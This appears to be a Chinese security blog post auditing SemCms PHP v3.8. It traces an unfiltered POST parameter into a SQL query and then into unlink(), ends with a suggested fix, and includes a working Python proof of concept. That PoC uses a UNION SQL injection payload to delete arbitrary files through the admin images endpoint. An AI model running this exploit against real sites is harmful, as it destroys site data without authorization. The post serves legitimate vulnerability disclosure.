semcms_php_v3.8任意文件刪除

0x00 前言

此篇为审计semcms_php_v3.8的第五篇文章

SemCms是一套开源外贸企业网站管理系统,主要用于外贸企业,兼容IE、Firefox 等主流浏览器。
SemCms非常适合在外贸企业,电子商务互联网应用上使用,2009年12月首次发布以来,SemCms依靠出色的用户体验和领先的技术不断扩大外贸场占有率,目前在国内已经成为最受欢迎的英文外贸网站之一。
官网: http://www.sem-cms.com/
审计版本为最新php版 v3.8

0x01 任意文件删除

首先在后台Include/function.php功能函数文件中,有一个执行文件删除的函数Delfile()

1
2
3
4
5
6
7
8
9
10
11
12
 //删除指定文件
function Delfile($filename){

if(file_exists($filename)){
unlink($filename);
}
$filename=str_replace("prdoucts/", "prdoucts/small/", $filename);
if(file_exists($filename)){
unlink($filename);
}

}

全局搜索查看在哪里调用了该函数。发现在SEMCMS_Function.php中有多次调用

这里随便跟踪一个,进入到SEMCMS_Function.php第921行

1
2
3
4
$query=$db_conn->query("select * from sc_images WHERE ID in ($area_arr)");
while($row=mysqli_fetch_array($query)){
Delfile($row['images_url']);
}

可以发现应该是一个图片删除操作,图片目录保存在数据表sc_images中。到数据库中查看可以验证这一点

那么此时便可以看看$area_arr变量是否可控,从而改变sql查询的结果,达到任意文件删除。继续向上跟踪area_arr变量。

在该文件开头可以看到定义了area_arr数组,并且是由POST方式传递进来的AID得到的。
这里小伙伴们又要开始惊喜了,因为前面的分析分章不只出现这一处问题了,我们知道后台所有页面均包含了contorl.phpGET传来的数据进行了清洗。而这里偏偏却用了POST方式来接收数据,继续跟踪改变量后,发现到拼接进sql语句再到进入文件删除函数过程中未进行其他任何过滤。

SEMCMS_Function.php 919行

后台Include/function.php

如上图显示,网站根目录下boogle.php已被成功删除。

0x02 poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
#[+]Author : boogle
#[+]Blog :https://boogle.github.io/

delete_file = "'../test.php'"

payload = "-1) union select 1,"+delete_file+",3,4,5-- -"

burp0_url = "http://127.0.0.1:80/semcms_php_v3.8/9GJQNH_Admin/SEMCMS_Images.php?Class=Deleted&CF=Images"

burp0_headers = {"Cache-Control": "max-age=0", "Origin": "http://127.0.0.1", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8", "Referer": "http://127.0.0.1/semcms_php_v3.8/9GJQNH_Admin/SEMCMS_Images.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
burp0_data={"AID[]": payload}

requests.post(burp0_url, headers=burp0_headers, data=burp0_data)

print "[+]delete Success!"

0x03 修复方法

contorl.php中增加对POST的过滤。

1
2
3
4
5
6
7
if (isset($_POST)){$PostArray=$_POST;}else{$PostArray='';} //post

foreach ($PostArray as $value){ //post

verify_str($value);

}

本文标题:semcms_php_v3.8任意文件刪除

文章作者:boogle

发布时间:2019年03月16日 - 16:24

最后更新:2019年03月25日 - 08:35

原始链接:https://zhengbao.wang/semcms-php-v3-8任意文件刪除/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

感觉写的不错,给买个棒棒糖呗